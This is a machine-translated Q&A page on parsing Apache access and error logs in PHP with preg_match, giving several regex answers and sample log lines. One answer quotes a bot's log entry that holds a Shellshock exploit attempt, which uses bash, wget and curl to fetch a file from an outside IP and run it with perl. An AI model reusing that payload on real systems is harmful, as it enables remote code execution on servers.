PHP Lang
  1. PHP Lang
  3. Parse Apache регистрируется в PHP с помощью preg_match
Intereting Posts
Какие проблемы безопасности я должен искать в PHP Zend Framework 2.0.2 API YouTube PHP: $ _SERVER против $ _SERVER Как распределить значения массива в трех столбцах? WooCommerce показывает два набора всех способов оплаты Codeigniter не может обновлять страницу после сеанса уничтожения и прямого PHP – как перевести веб-сайт на несколько языков? Миграция Yii2 из Apache в Nginx – не удалось выполнить бэкэнд-приложение Стоимость проверки времени изменения файла Быстрые книги PHP DevKit Как решить «вызов неопределенной функции domxml_new_doc () …» как передать переменную jquery в php, а затем отобразить ее PHP ElasticSearch, как настроить отображение перед индексацией записей? Размещение двух MultiCells рядом друг с другом с помощью FPDF в PHP Laravel … Автоматически выполнять скрипт через несколько часов

Parse Apache регистрируется в PHP с помощью preg_match

Мне нужно сохранить данные в таблице (для отчетности, статистики и т. Д.), Чтобы пользователь мог искать по времени, пользовательский агент и т. Д. У меня есть сценарий, который работает каждый день, который читает журнал Apache, а затем вставляет его в базу данных ,

Формат журнала: 

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"

Мое регулярное выражение: 

 preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches);

Теперь, когда я печатаю: 

 print_r($matches); Array ( [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" [1] => 10.1.1.150 [2] => - [3] => - [4] => 29/September/2011 [5] => 14:21:49 [6] => -0400 [7] => GET [8] => /info/ [9] => HTTP/1.1 [10] => 200 [11] => 9955 [12] => "http://www.domain.com/download/" [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" )

Я получаю: "http://www.domain.com/download/" и тот же для агента пользователя. Как я могу избавиться от этих " в регулярном выражении? Бонус (есть ли какой-нибудь быстрый способ легко вставить дату и время)?

благодаря

Чтобы access_log журнал access_log Apache access_log в PHP, вы можете использовать это регулярное выражение: 

 $regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/'; preg_match($regex ,$log, $matches);

Чтобы соответствовать формату error_log Apache, вы можете использовать это регулярное выражение: 

 $regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i'; preg_match($regex, $log, $matches); $matches[1] = Date and time, $matches[2] = severity, $matches[3] = client addr (if present) $matches[4] = log message

Он соответствует строкам с клиентом или без него: 

 [Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations [Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js

Если вы не хотите записывать двойные кавычки, выведите их из групп захвата. 

  (\".*?\")

Должно стать: 

  \"(.*?)\"

В качестве альтернативы вы можете просто обработать записи с помощью trim($str, '"')

ваше регулярное выражение неверно. вы используете правильное регулярное выражение 

 /^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/

Я попытался использовать пару регулярных выражений здесь в январе 2015 года и обнаружил, что плохой бот не получает совпадения в моем журнале apache2.

Плохая строка apache2 бота – попытка взлома BASH, и я еще не пытался выяснить коррекцию регулярного выражения: 

 199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""

Поскольку я видел и делал так много ошибочного анализа журнала, вот надежное действительное регулярное выражение, проверенное на 50 тыс. Строк журналов без какого-либо отдельного разграничения, зная, что:

  • auth_user может иметь пробелы
  • response_size может быть –
  • http_start_line может по крайней мере одно пространство (HTTP / 0.9) или два
  • http_start_line может содержать двойные кавычки
  • referrer может быть пустым, иметь пробелы или двойные кавычки (это просто HTTP-заголовок)
  • user_agent также может быть пустым или содержать двойные кавычки и пробелы
  • Трудно отличить referrer и user-agent, давайте просто домом " " между обоими, достаточно дискриминирующими, но мы можем найти печально известную " " в реферере и в пользовательском агенте, так что в основном мы здесь.

$ncsa_re = '/^(?P<IP>\S+) \ (?P<ident>\S) \ (?P<auth_user>.*?) # Spaces are allowed here, can be empty. \ (?P<date>\[[^]]+\]) \ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9 \ (?P<status_code>[0-9]+) # Status code is _always_ an integer \ (?P<response_size>(?:[0-9]+|-)) # Response size can be - \ "(?P<referrer>.*)" # Referrer can contains everything: its just a header \ "(?P<user_agent>.*)"$/x';

Надеюсь, это поможет.